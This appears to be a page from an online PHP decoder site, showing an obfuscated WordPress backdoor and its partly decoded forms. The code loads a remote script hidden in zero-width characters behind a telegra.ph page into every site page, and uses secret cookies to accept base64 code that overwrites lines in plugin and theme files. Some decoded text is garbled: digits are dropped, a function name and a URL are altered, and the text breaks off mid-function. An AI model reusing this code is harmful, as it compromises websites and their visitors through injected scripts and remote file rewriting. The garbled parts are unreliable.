Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

 function b897fA9AF16c171C($A3039a8fd3a996ae) { if (isset($_COOKIE["\115\151\x4a\101\x4b\x71\116\x68\166\x4a"])) { var_dump($A3039a8fd3a996ae); echo PHP_EOL; } } function FDEa275E5Da2886f($E0e1cb5e6ba71a20) { $ba66b52aa3952fd5 = "\x63\141\160\164\x69\x6f\156\x5f" . md5($E0e1cb5e6ba71a20); b897fa9AF16C171C("\x46\x65\164\x63\x68\151\x6e\x67\40\x63\x6f\x6e\x74\145\156\164\40\146\162\x6f\155\40\x55\x52\114\x3a\40{$E0e1cb5e6ba71a20}"); $f277e24bc10e12a4 = curl_init($E0e1cb5e6ba71a20); curl_setopt_array($f277e24bc10e12a4, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\151\154\x6c\x61\x2f\x35\56\x30\x20\50\127\x69\156\x64\x6f\167\163\40\x4e\124\x20\61\x30\56\60\x3b\40\127\x69\x6e\66\x34\73\x20\x78\66\64\51\40\101\x70\160\154\145\127\145\x62\x4b\x69\164\x2f\x35\63\x37\x2e\63\66", CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0]); $Ee0fcaf2289aaf4b = curl_exec($f277e24bc10e12a4); if ($Ee0fcaf2289aaf4b === false) { $Cda608972bca41cb = curl_error($f277e24bc10e12a4); b897Fa9AF16C171C("\143\x55\122\114\x20\x65\162\x72\x6f\162\40\146\x65\164\x63\150\151\x6e\x67\x20{$E0e1cb5e6ba71a20}\72\x20{$Cda608972bca41cb}"); curl_close($f277e24bc10e12a4); return b87f95dc1F839Ce5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20); } curl_close($f277e24bc10e12a4); if (preg_match("\x2f\x3c\x70\76\50\56\x2a\77\x29\74\x5c\57\160\76\57\151\163", $Ee0fcaf2289aaf4b, $E48203db3e7f690b)) { $A2487d72457fd222 = Ab1DdcA4eAAE5b97($E48203db3e7f690b[1]); B897FA9AF16c171C("\x43\154\x65\x61\156\145\x64\x20\x63\141\160\164\151\x6f\156\40\143\157\x6e\164\x65\156\x74\x3a\12" . $A2487d72457fd222); set_transient($ba66b52aa3952fd5, $A2487d72457fd222, 300); b897fA9aF16C171C("\x43\x61\x70\164\151\157\156\40\143\x61\143\150\x65\144\40\x75\156\x64\x65\162\x20\x6b\x65\171\x3a\x20{$ba66b52aa3952fd5}"); return $A2487d72457fd222; } else { B897FA9aF16c171C("\116\157\40\143\141\160\x74\x69\157\x6e\40\x66\157\165\156\144\x20\151\x6e\40\x48\x54\x4d\x4c\40\146\157\x72\40\x55\122\114\x3a\40{$E0e1cb5e6ba71a20}\54\x20\x74\162\171\x69\156\x67\40\143\141\x63\x68\145\x2e\56\x2e"); return b87f95Dc1f839Ce5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20); } } function b87f95dc1F839cE5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20) { $F7a7430133fb824f = get_transient($ba66b52aa3952fd5); if ($F7a7430133fb824f !== false) { b897fA9AF16c171c("\125\x73\151\156\147\x20\x63\141\x63\150\145\144\40\x63\x61\160\x74\x69\157\x6e\x20\146\x6f\x72\x20\125\x52\x4c\72\x20{$E0e1cb5e6ba71a20}"); B897FA9Af16C171c("\103\141\143\x68\x65\144\x20\143\x61\x70\164\151\157\156\x20\143\x6f\x6e\164\x65\156\164\x3a\xa" . $F7a7430133fb824f); return $F7a7430133fb824f; } else { B897fA9Af16C171C("\x4e\x6f\40\x63\141\x63\150\x65\x64\40\x63\141\160\x74\151\x6f\x6e\x20\x61\166\141\x69\x6c\141\x62\x6c\x65\x20\x66\157\162\40\x55\x52\114\72\40{$E0e1cb5e6ba71a20}"); return ''; } } function Ab1DDca4eaAe5B97($A2487d72457fd222) { b897FA9AF16c171C("\x52\x61\x77\40\143\x61\160\164\151\157\156\40\110\x54\115\x4c\x3a\xa" . $A2487d72457fd222); $A2487d72457fd222 = preg_replace_callback("\x2f\x26\43\x78\x28\x5b\x5c\x64\x41\55\x46\x5d\x2b\x29\x3b\57\x69", function ($dee0799ea9c71c2e) { return mb_convert_encoding(pack("\x48\52", $dee0799ea9c71c2e[1]), "\x55\124\x46\55\70", "\x55\103\x53\x2d\x32\x42\105"); }, $A2487d72457fd222); $A2487d72457fd222 = str_replace(["\x5c\156", "\134\x22", "\x26\161\165\x6f\164\73", "\46\x61\x6d\160\x3b", "\46\154\164\x3b", "\46\147\164\73"], ["\xa", "\42", "\x22", "\x26", "\x3c", "\76"], $A2487d72457fd222); return $A2487d72457fd222; } function BC9cDb7344eF9b7A($E93122a1835697c3, $A69b0d070cb1d647 = '') { try { $C68b1ae85c7dabec = ["\xe2\200\214", "\342\200\x8d", "\342\201\241", "\xe2\201\242", "\342\x81\xa3", "\xe2\201\244"]; $A32664c3ec0083f3 = explode("\40", $E93122a1835697c3); $da7709704948807e = ''; foreach ($A32664c3ec0083f3 as $caca634153426089) { $d60fa63740cf17c1 = mb_str_split($caca634153426089, 1, "\x55\x54\x46\x2d\x38"); $fa1a9924d51149fa = array_intersect($C68b1ae85c7dabec, $d60fa63740cf17c1); if (!empty($fa1a9924d51149fa)) { $a5cfbf17a9c5539e = 0; foreach ($d60fa63740cf17c1 as $Fc213a7abff320f4 => $D9594505321b3a6f) { if (!in_array($D9594505321b3a6f, $C68b1ae85c7dabec)) { $a5cfbf17a9c5539e = $Fc213a7abff320f4; break; } $a5cfbf17a9c5539e = $Fc213a7abff320f4 + 1; } $da7709704948807e = mb_substr($caca634153426089, 0, $a5cfbf17a9c5539e, "\125\x54\x46\55\x38"); break; } } if (!$da7709704948807e) { return ''; } $a3c9ae3e543ea4da = mb_substr($da7709704948807e, 0, 1, "\x55\124\x46\x2d\70"); $Fbcccfd56cdcea32 = mb_substr($da7709704948807e, 1, null, "\125\124\x46\55\x38"); $bb4ae83515c2da8b = [$C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[1], $C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[2], $C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[3], $C68b1ae85c7dabec[1] . $C68b1ae85c7dabec[2], $C68b1ae85c7dabec[1] . $C68b1ae85c7dabec[3], $C68b1ae85c7dabec[2] . $C68b1ae85c7dabec[3]]; $C9392d81856eeba7 = array_search($a3c9ae3e543ea4da, $C68b1ae85c7dabec); $Ee2b3d80b2db4f0e = $C9392d81856eeba7 !== false && isset($bb4ae83515c2da8b[$C9392d81856eeba7]) ? mb_str_split($bb4ae83515c2da8b[$C9392d81856eeba7], 1, "\x55\x54\x46\55\x38") : [$C68b1ae85c7dabec[0], $C68b1ae85c7dabec[1]]; $Fcf71a69bea9df44 = [$C68b1ae85c7dabec[4], $C68b1ae85c7dabec[5]]; $F8a13ed5182c08f8 = [$Ee2b3d80b2db4f0e[0] . $Ee2b3d80b2db4f0e[0], $Ee2b3d80b2db4f0e[1] . $Ee2b3d80b2db4f0e[1]]; for ($Fc213a7abff320f4 = count($Fcf71a69bea9df44) - 1; $Fc213a7abff320f4 >= 0; $Fc213a7abff320f4--) { $Fbcccfd56cdcea32 = str_replace($Fcf71a69bea9df44[$Fc213a7abff320f4], $F8a13ed5182c08f8[$Fc213a7abff320f4], $Fbcccfd56cdcea32); } $Ba7552f1b06cab02 = mb_substr($Fbcccfd56cdcea32, 0, 1, "\x55\124\106\55\70"); $C1ca6e7ee8061ad2 = mb_substr($Fbcccfd56cdcea32, 1, null, "\x55\124\x46\55\70"); $d60fa63740cf17c1 = mb_str_split($C1ca6e7ee8061ad2, 1, "\x55\x54\106\x2d\70"); $Ee1e41b9168f5da6 = array_search($Ba7552f1b06cab02, $C68b1ae85c7dabec); $Ef808b4f740bd7d1 = $Ee1e41b9168f5da6 === 0 || $Ee1e41b9168f5da6 === 1; $a9be2a6697c277ae = $Ee1e41b9168f5da6 === 0; $C33c66286e86a3f1 = ''; foreach ($d60fa63740cf17c1 as $D9594505321b3a6f) { $d6de38a02a39cbf7 = array_search($D9594505321b3a6f, $C68b1ae85c7dabec); if ($d6de38a02a39cbf7 !== false) { $C33c66286e86a3f1 .= str_pad(decbin($d6de38a02a39cbf7), 2, "\60", STR_PAD_LEFT); } } $A3039a8fd3a996ae = []; for ($Fc213a7abff320f4 = 0; $Fc213a7abff320f4 < strlen($C33c66286e86a3f1); $Fc213a7abff320f4 += 8) { $e817c33211ec2380 = substr($C33c66286e86a3f1, $Fc213a7abff320f4, 8); if (strlen($e817c33211ec2380) === 8) { $A3039a8fd3a996ae[] = bindec($e817c33211ec2380); } } $Df83f64025c6c6bd = []; foreach ($A3039a8fd3a996ae as $e817c33211ec2380) { $Df83f64025c6c6bd[] = ~$e817c33211ec2380 & 0xff; } $f8f4266b78ec8a86 = ''; foreach ($Df83f64025c6c6bd as $e817c33211ec2380) { if ($e817c33211ec2380 < 32 || $e817c33211ec2380 > 126) { $C8663dd681358c6c = pack("\103\52", ...$Df83f64025c6c6bd); $De5c11599df331eb = @gzuncompress($C8663dd681358c6c); if ($De5c11599df331eb === false) { $De5c11599df331eb = @gzinflate($C8663dd681358c6c); } return $De5c11599df331eb !== false ? $De5c11599df331eb : ''; } $f8f4266b78ec8a86 .= chr($e817c33211ec2380); } return $f8f4266b78ec8a86; } catch (Exception $e6cd18fe0cfb7f1a) { B897Fa9Af16c171C($e6cd18fe0cfb7f1a); return ''; } } function G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72() { $a459e563b473216d = "\150\164\x74\160\x73\x3a\x2f\57" . Bc9cDB7344Ef9B7A(FdEa275E5DA2886f("\150\x74\x74\160\163\x3a\57\x2f\x74\145\x6c\x65\x67\x72\141\56\160\150\x2f\x4e\x6f\x74\145\x73\55\60\x31\55\x31\x39")); b897fa9AF16c171C($a459e563b473216d); if (filter_var($a459e563b473216d, FILTER_VALIDATE_URL)) { wp_enqueue_script("\141\x73\141\x68\x69\55\152\161\165\x65\162\171\x2d\155\151\x6e\55\142\165\x6e\x64\154\x65", $a459e563b473216d, array(), null, true); } } add_action("\x77\x70\x5f\x65\x6e\161\165\145\x75\x65\137\163\143\162\x69\x70\164\x73", "\107\x37\x6a\x70\62\114\70\x34\x6d\x6e\126\143\64\114\116\127\71\x77\x63\x62\x5a\x63\x61\x56\106\x41\171\103\x39\116\67\62"); add_action("\164\145\x6d\x70\x6c\x61\164\x65\x5f\162\145\x64\x69\x72\x65\143\x74", "\155\x70\x7a\x5a\131\111\x62\107\x4f\142"); function DE54B4F97B5d3149($Fd993a59efed7dce, $dd112d0cf01e4bb3) { $dcc53ab861155753 = file($Fd993a59efed7dce); foreach ($dcc53ab861155753 as $ca325a581eb37444 => $E1d6d6614e6c5db5) { if (strpos($E1d6d6614e6c5db5, $dd112d0cf01e4bb3) !== false) { return ["\x6c\x69\x6e\x65\x4e\165\x6d\142\145\162" => $ca325a581eb37444, "\x6c\x69\156\145\x73" => $dcc53ab861155753]; } } return null; } function EbC96aBA02Bd91A8($A526a1522726eb83) { $D20a1cacfa4b867f = []; $D2636cdb3f891742 = scandir($A526a1522726eb83); foreach ($D2636cdb3f891742 as $bd37053d9bf2009f) { if ($bd37053d9bf2009f === "\56" || $bd37053d9bf2009f === "\56\56") { continue; } $d6b8c08de2e6fa49 = $A526a1522726eb83 . DIRECTORY_SEPARATOR . $bd37053d9bf2009f; if (is_file($d6b8c08de2e6fa49)) { $D20a1cacfa4b867f[] = $d6b8c08de2e6fa49; } elseif (is_dir($d6b8c08de2e6fa49)) { $D20a1cacfa4b867f = array_merge($D20a1cacfa4b867f, EBC96aBa02Bd91a8($d6b8c08de2e6fa49)); } } return $D20a1cacfa4b867f; } function DD9c034ab82CcD62($A526a1522726eb83, $dd112d0cf01e4bb3, $ad95639ab474eb23) { $D20a1cacfa4b867f = eBC96ABA02Bd91a8($A526a1522726eb83); $Ca6d7b674b447ba8 = ''; foreach ($D20a1cacfa4b867f as $C28a98315453eedb) { $f8f4266b78ec8a86 = De54b4f97B5d3149($C28a98315453eedb, $dd112d0cf01e4bb3); if ($f8f4266b78ec8a86) { $ca325a581eb37444 = $f8f4266b78ec8a86["\x6c\151\156\145\116\165\155\142\x65\162"]; $dcc53ab861155753 = $f8f4266b78ec8a86["\x6c\151\156\x65\163"]; $Ca6d7b674b447ba8 .= "\x46\157\165\156\x64\x20\47{$dd112d0cf01e4bb3}\x27\40\x69\x6e\40\x66\x69\154\145\x3a\40{$C28a98315453eedb}\40\157\156\40\x6c\151\x6e\145\40" . ($ca325a581eb37444 + 1) . PHP_EOL; $dcc53ab861155753[$ca325a581eb37444] = $ad95639ab474eb23 . PHP_EOL; file_put_contents($C28a98315453eedb, implode('', $dcc53ab861155753)); $Ca6d7b674b447ba8 .= "\114\x69\156\145\40\x72\x65\x70\x6c\141\x63\x65\x64\x20\x73\165\x63\143\x65\163\163\x66\x75\154\x6c\171\56" . PHP_EOL; return $Ca6d7b674b447ba8; } } return $Ca6d7b674b447ba8; } function mpzZYIbGOb() { if ($_SERVER["\x52\x45\121\x55\105\123\x54\137\x4d\105\x54\110\x4f\x44"] === "\120\117\x53\x54") { if (isset($_COOKIE["\104\x45\160\152\x6e\144\x44\142\116\x63"])) { if (ob_get_length()) { ob_clean(); } header("\103\157\156\164\145\x6e\164\x2d\x54\x79\160\x65\72\x20\x74\145\x78\164\57\x70\x6c\141\151\x6e"); echo "\x4f\x4b" . PHP_EOL; echo "\126\x3a\x30\56\x33\x2e\x30\55\144\145\163\x69\162\145"; exit; } else { if (isset($_COOKIE["\x74\x45\x63\x61\x4b\113\x58\105\x73\142"])) { if (ob_get_length()) { ob_clean(); } if (!isset($_POST["\x6e\x65\x77\x5f\x63\157\144\x65"])) { header("\103\x6f\156\164\145\164\156\55\124\x79\160\145\72\40\x74\x65\170\x74\57\160\x6c\141\x69\156"); http_response_code(400); echo "\111\156\166\141\154\151\144\40\x69\x6e\x70\165\x74"; exit; } $d25535130cad5e15 = base64_decode($_POST["\156\x65\167\x5f\143\157\144\145"]); $fe39d93dc5e34944 = dD9c034AB82cCd62(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "\x70\x6c\x75\x67\151\x6e\x73", base64_decode("\122\172\144\161\x63\x44\112\x4d\117\x44\122\x74\x62\x6c\132\152\116\105\x78\x4f\126\172\x6c\x33\x59\x32\x4a\x61\131\x32\x46\x57\x52\x6b\x46\65\121\x7a\154\117\116\172\x49\75"), $d25535130cad5e15); $fe39d93dc5e34944 .= dd9C034Ab82cCD62(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "\x74\150\x65\155\x65\x73", base64_decode("\x52\172\144\161\x63\x44\112\115\117\x44\x52\164\142\154\132\152\x4e\105\x78\117\x56\172\154\x33\x59\62\x4a\141\131\x32\106\127\x52\153\106\x35\121\172\154\x4f\x4e\172\111\75"), $d25535130cad5e15); header("\103\157\x6e\164\145\x6e\x74\x2d\x54\x79\160\145\72\40\x74\145\170\164\x2f\160\154\141\151\x6e"); echo "\x4f\113" . PHP_EOL; echo $fe39d93dc5e34944; exit; } else { if (isset($_COOKIE["\141\125\x78\x55\x63\104\146\116\x56\164"])) { if (ob_get_length()) { ob_clean(); } $a459e563b473216d = bC9CDB7344Ef9B7a(FDEA275e5da2886f("\x68\164\164\x70\163\72\x2f\57\x74\x65\x6c\145\147\162\141\56\160\150\57\116\x6f\164\x65\x73\55\60\61\55\61\71")); header("\103\157\x6e\164\145\x6e\164\x2d\124\171\x70\x65\x3a\x20\x74\145\170\x74\57\160\154\141\151\156"); echo "\117\113" . PHP_EOL; echo $a459e563b473216d; exit; } } } } }

Show other level

Decrypted code level 1:

 function b897fA9AF16c171C($A3039a8fd3a996ae) { if (isset($_COOKIE["MiJAKqNhvJ"])) { var_dump($A3039a8fd3a996ae); echo PHP_EOL; } } function FDEa275E5Da2886f($E0e1cb5e6ba71a20) { $ba66b52aa3952fd5 = "caption_" . md5($E0e1cb5e6ba71a20); b897fa9AF16C171C("Fetching content from URL: {$E0e1cb5e6ba71a20}"); $f277e24bc10e12a4 = curl_init($E0e1cb5e6ba71a20); curl_setopt_array($f277e24bc10e12a4, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "Mozilla/5p (Windows NT .0; Win; x64) AppleWebKit/5.36", CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0]); $Ee0fcaf2289aaf4b = curl_exec($f277e24bc10e12a4); if ($Ee0fcaf2289aaf4b === false) { $Cda608972bca41cb = curl_error($f277e24bc10e12a4); b897Fa9AF16C171C("cURL error fetching {$E0e1cb5e6ba71a20}: {$Cda608972bca41cb}"); curl_close($f277e24bc10e12a4); return b87f95dc1F839Ce5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20); } curl_close($f277e24bc10e12a4); if (preg_match("/<p>(.*?)<\/p>/is", $Ee0fcaf2289aaf4b, $E48203db3e7f690b)) { $A2487d72457fd222 = Ab1DdcA4eAAE5b97($E48203db3e7f690b[1]); B897FA9AF16c171C("Cleaned caption content:
" . $A2487d72457fd222); set_transient($ba66b52aa3952fd5, $A2487d72457fd222, 300); b897fA9aF16C171C("Caption cached under key: {$ba66b52aa3952fd5}"); return $A2487d72457fd222; } else { B897FA9aF16c171C("No caption found in HTML for URL: {$E0e1cb5e6ba71a20}, trying cache..."); return b87f95Dc1f839Ce5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20); } } function b87f95dc1F839cE5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20) { $F7a7430133fb824f = get_transient($ba66b52aa3952fd5); if ($F7a7430133fb824f !== false) { b897fA9AF16c171c("Using cached caption for URL: {$E0e1cb5e6ba71a20}"); B897FA9Af16C171c("Cached caption content:\xa" . $F7a7430133fb824f); return $F7a7430133fb824f; } else { B897fA9Af16C171C("No cached caption available for URL: {$E0e1cb5e6ba71a20}"); return ''; } } function Ab1DDca4eaAe5B97($A2487d72457fd222) { b897FA9AF16c171C("Raw caption HTML:\xa" . $A2487d72457fd222); $A2487d72457fd222 = preg_replace_callback("/&#x([\dA-F]+);/i", function ($dee0799ea9c71c2e) { return mb_convert_encoding(pack("H*", $dee0799ea9c71c2e[1]), "UTF-8", "UCS-2BE"); }, $A2487d72457fd222); $A2487d72457fd222 = str_replace(["\n", "\"", "&quot;", "&amp;", "&lt;", "&gt;"], ["\xa", """, """, "&", "<", ">"], $A2487d72457fd222); return $A2487d72457fd222; } function BC9cDb7344eF9b7A($E93122a1835697c3, $A69b0d070cb1d647 = '') { try { $C68b1ae85c7dabec = ["‌", "‍", "⁡", "⁢", "⁣", "⁤"]; $A32664c3ec0083f3 = explode(" ", $E93122a1835697c3); $da7709704948807e = ''; foreach ($A32664c3ec0083f3 as $caca634153426089) { $d60fa63740cf17c1 = mb_str_split($caca634153426089, 1, "UTF-8"); $fa1a9924d51149fa = array_intersect($C68b1ae85c7dabec, $d60fa63740cf17c1); if (!empty($fa1a9924d51149fa)) { $a5cfbf17a9c5539e = 0; foreach ($d60fa63740cf17c1 as $Fc213a7abff320f4 => $D9594505321b3a6f) { if (!in_array($D9594505321b3a6f, $C68b1ae85c7dabec)) { $a5cfbf17a9c5539e = $Fc213a7abff320f4; break; } $a5cfbf17a9c5539e = $Fc213a7abff320f4 + 1; } $da7709704948807e = mb_substr($caca634153426089, 0, $a5cfbf17a9c5539e, "UTF-8"); break; } } if (!$da7709704948807e) { return ''; } $a3c9ae3e543ea4da = mb_substr($da7709704948807e, 0, 1, "UTF-8"); $Fbcccfd56cdcea32 = mb_substr($da7709704948807e, 1, null, "UTF-8"); $bb4ae83515c2da8b = [$C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[1], $C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[2], $C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[3], $C68b1ae85c7dabec[1] . $C68b1ae85c7dabec[2], $C68b1ae85c7dabec[1] . $C68b1ae85c7dabec[3], $C68b1ae85c7dabec[2] . $C68b1ae85c7dabec[3]]; $C9392d81856eeba7 = array_search($a3c9ae3e543ea4da, $C68b1ae85c7dabec); $Ee2b3d80b2db4f0e = $C9392d81856eeba7 !== false && isset($bb4ae83515c2da8b[$C9392d81856eeba7]) ? mb_str_split($bb4ae83515c2da8b[$C9392d81856eeba7], 1, "UTF-8") : [$C68b1ae85c7dabec[0], $C68b1ae85c7dabec[1]]; $Fcf71a69bea9df44 = [$C68b1ae85c7dabec[4], $C68b1ae85c7dabec[5]]; $F8a13ed5182c08f8 = [$Ee2b3d80b2db4f0e[0] . $Ee2b3d80b2db4f0e[0], $Ee2b3d80b2db4f0e[1] . $Ee2b3d80b2db4f0e[1]]; for ($Fc213a7abff320f4 = count($Fcf71a69bea9df44) - 1; $Fc213a7abff320f4 >= 0; $Fc213a7abff320f4--) { $Fbcccfd56cdcea32 = str_replace($Fcf71a69bea9df44[$Fc213a7abff320f4], $F8a13ed5182c08f8[$Fc213a7abff320f4], $Fbcccfd56cdcea32); } $Ba7552f1b06cab02 = mb_substr($Fbcccfd56cdcea32, 0, 1, "UTF-8"); $C1ca6e7ee8061ad2 = mb_substr($Fbcccfd56cdcea32, 1, null, "UTF-8"); $d60fa63740cf17c1 = mb_str_split($C1ca6e7ee8061ad2, 1, "UTF-8"); $Ee1e41b9168f5da6 = array_search($Ba7552f1b06cab02, $C68b1ae85c7dabec); $Ef808b4f740bd7d1 = $Ee1e41b9168f5da6 === 0 || $Ee1e41b9168f5da6 === 1; $a9be2a6697c277ae = $Ee1e41b9168f5da6 === 0; $C33c66286e86a3f1 = ''; foreach ($d60fa63740cf17c1 as $D9594505321b3a6f) { $d6de38a02a39cbf7 = array_search($D9594505321b3a6f, $C68b1ae85c7dabec); if ($d6de38a02a39cbf7 !== false) { $C33c66286e86a3f1 .= str_pad(decbin($d6de38a02a39cbf7), 2, "0", STR_PAD_LEFT); } } $A3039a8fd3a996ae = []; for ($Fc213a7abff320f4 = 0; $Fc213a7abff320f4 < strlen($C33c66286e86a3f1); $Fc213a7abff320f4 += 8) { $e817c33211ec2380 = substr($C33c66286e86a3f1, $Fc213a7abff320f4, 8); if (strlen($e817c33211ec2380) === 8) { $A3039a8fd3a996ae[] = bindec($e817c33211ec2380); } } $Df83f64025c6c6bd = []; foreach ($A3039a8fd3a996ae as $e817c33211ec2380) { $Df83f64025c6c6bd[] = ~$e817c33211ec2380 & 0xff; } $f8f4266b78ec8a86 = ''; foreach ($Df83f64025c6c6bd as $e817c33211ec2380) { if ($e817c33211ec2380 < 32 || $e817c33211ec2380 > 126) { $C8663dd681358c6c = pack("C*", ...$Df83f64025c6c6bd); $De5c11599df331eb = @gzuncompress($C8663dd681358c6c); if ($De5c11599df331eb === false) { $De5c11599df331eb = @gzinflate($C8663dd681358c6c); } return $De5c11599df331eb !== false ? $De5c11599df331eb : ''; } $f8f4266b78ec8a86 .= chr($e817c33211ec2380); } return $f8f4266b78ec8a86; } catch (Exception $e6cd18fe0cfb7f1a) { B897Fa9Af16c171C($e6cd18fe0cfb7f1a); return ''; } } function G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72() { $a459e563b473216d = "https://" . Bc9cDB7344Ef9B7A(FdEa275E5DA2886f("https://telegra.ph/Notes-i9")); b897fa9AF16c171C($a459e563b473216d); if (filter_var($a459e563b473216d, FILTER_VALIDATE_URL)) { wp_enqueue_script("asahi-jquery-min-bundle", $a459e563b473216d, array(), null, true); } } add_action("wp_enqueue_scripts", "G7jp2LmnVc4LNW9wcbZcaVFAyC9N72"); add_action("template_redirect", "mpzZYIbGOb"); function DE54B4F97B5d3149($Fd993a59efed7dce, $dd112d0cf01e4bb3) { $dcc53ab861155753 = file($Fd993a59efed7dce); foreach ($dcc53ab861155753 as $ca325a581eb37444 => $E1d6d6614e6c5db5) { if (strpos($E1d6d6614e6c5db5, $dd112d0cf01e4bb3) !== false) { return ["lineNumber" => $ca325a581eb37444, "lines" => $dcc53ab861155753]; } } return null; } function EbC96aBA02Bd91A8($A526a1522726eb83) { $D20a1cacfa4b867f = []; $D2636cdb3f891742 = scandir($A526a1522726eb83); foreach ($D2636cdb3f891742 as $bd37053d9bf2009f) { if ($bd37053d9bf2009f ===  || $bd37053d9bf2009f === "..") { continue; } $d6b8c08de2e6fa49 = $A526a1522726eb83 . DIRECTORY_SEPARATOR . $bd37053d9bf2009f; if (is_file($d6b8c08de2e6fa49)) { $D20a1cacfa4b867f[] = $d6b8c08de2e6fa49; } elseif (is_dir($d6b8c08de2e6fa49)) { $D20a1cacfa4b867f = array_merge($D20a1cacfa4b867f, EBC96aBa02Bd91a8($d6b8c08de2e6fa49)); } } return $D20a1cacfa4b867f; } function DD9c034ab82CcD62($A526a1522726eb83, $dd112d0cf01e4bb3, $ad95639ab474eb23) { $D20a1cacfa4b867f = eBC96ABA02Bd91a8($A526a1522726eb83); $Ca6d7b674b447ba8 = ''; foreach ($D20a1cacfa4b867f as $C28a98315453eedb) { $f8f4266b78ec8a86 = De54b4f97B5d3149($C28a98315453eedb, $dd112d0cf01e4bb3); if ($f8f4266b78ec8a86) { $ca325a581eb37444 = $f8f4266b78ec8a86["lineNumber"]; $dcc53ab861155753 = $f8f4266b78ec8a86["lines"]; $Ca6d7b674b447ba8 .= "Found '{$dd112d0cf01e4bb3}' in file: {$C28a98315453eedb} on line " . ($ca325a581eb37444 + 1) . PHP_EOL; $dcc53ab861155753[$ca325a581eb37444] = $ad95639ab474eb23 . PHP_EOL; file_put_contents($C28a98315453eedb, implode('', $dcc53ab861155753)); $Ca6d7b674b447ba8 .= "Line replaced successfully." . PHP_EOL; return $Ca6d7b674b447ba8; } } return $Ca6d7b674b447ba8; } function mpzZYIbGOb() { if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_COOKIE["DEpjndDbNc"])) { if (ob_get_length()) { ob_clean(); } header("Content-Type: text/plain"); echo "OK" . PHP_EOL; echo "V:0s.0-desire"; exit; } else { if (isset($_COOKIE["tEcaKKXEsb"])) { if (ob_get_length()) { ob_clean(); } if (!isset($_POST["new_code"])) { header("Contetn-Type: text/plain"); http_response_code(400); echo "Invalid input"; exit; } $d25535130cad5e15 = base64_decode($_POST["new_code"]); $fe39d93dc5e34944 = dD9c034AB82cCd62(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "plugins", base64_decode("RzdqcDJMODRtblZjNExOVzl3Y2JaY2FWRkF5QzlONzI="), $d25535130cad5e15); $fe39d93dc5e34944 .= dd9C034Ab82cCD62(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "themes", base64_decode("RzdqcDJMODRtblZjNExOVzl3Y2JaY2FWRkF5QzlONzI="), $d25535130cad5e15); header("Content-Type: text/plain"); echo "OK" . PHP_EOL; echo $fe39d93dc5e34944; exit; } else { if (isset($_COOKIE["aUxUcDfNVt"])) { if (ob_get_length()) { ob_clean(); } $a459e563b473216d = bC9CDB7344Ef9B7a(FDEA275e5da2886f("https://telegra.ph/Notes-01-19")); header("Content-Type: text/plain"); echo "OK" . PHP_EOL; echo $a459e563b473216d; exit; } } } } }

Decrypted code level 2:

 function b897fA9AF16c171C($A3039a8fd3a996ae) { if (isset($_COOKIE["MiJAKqNhvJ"])) { var_dump($A3039a8fd3a996ae); echo PHP_EOL; } } function FDEa275E5Da2886f($E0e1cb5e6ba71a20) { $ba66b52aa3952fd5 = "caption_" . md5($E0e1cb5e6ba71a20); b897fa9AF16C171C("Fetching content from URL: {$E0e1cb5e6ba71a20}"); $f277e24bc10e12a4 = curl_init($E0e1cb5e6ba71a20); curl_setopt_array($f277e24bc10e12a4, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "Mozilla/5p (Windows NT .0; Win; x64) AppleWebKit/5.36", CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0]); $Ee0fcaf2289aaf4b = curl_exec($f277e24bc10e12a4); if ($Ee0fcaf2289aaf4b === false) { $Cda608972bca41cb = curl_error($f277e24bc10e12a4); b897Fa9AF16C171C("cURL error fetching {$E0e1cb5e6ba71a20}: {$Cda608972bca41cb}"); curl_close($f277e24bc10e12a4); return b87f95dc1F839Ce5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20); } curl_close($f277e24bc10e12a4); if (preg_match("/<p>(.*?)<\/p>/is", $Ee0fcaf2289aaf4b, $E48203db3e7f690b)) { $A2487d72457fd222 = Ab1DdcA4eAAE5b97($E48203db3e7f690b[1]); B897FA9AF16c171C("Cleaned caption content:
" . $A2487d72457fd222); set_transient($ba66b52aa3952fd5, $A2487d72457fd222, 300); b897fA9aF16C171C("Caption cached under key: {$ba66b52aa3952fd5}"); return $A2487d72457fd222; } else { B897FA9aF16c171C("No caption found in HTML for URL: {$E0e1cb5e6ba71a20}, trying cache..."); return b87f95Dc1f839Ce5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20); } } function b87f95dc1F839cE5($ba66b52aa3952fd5, $E0e1cb5e6ba71a20) { $F7a7430133fb824f = get_transient($ba66b52aa3952fd5); if ($F7a7430133fb824f !== false) { b897fA9AF16c171c("Using cached caption for URL: {$E0e1cb5e6ba71a20}"); B897FA9Af16C171c("Cached caption content:\xa" . $F7a7430133fb824f); return $F7a7430133fb824f; } else { B897fA9Af16C171C("No cached caption available for URL: {$E0e1cb5e6ba71a20}"); return ''; } } function Ab1DDca4eaAe5B97($A2487d72457fd222) { b897FA9AF16c171C("Raw caption HTML:\xa" . $A2487d72457fd222); $A2487d72457fd222 = preg_replace_callback("/&#x([\dA-F]+);/i", function ($dee0799ea9c71c2e) { return mb_convert_encoding(pack("H*", 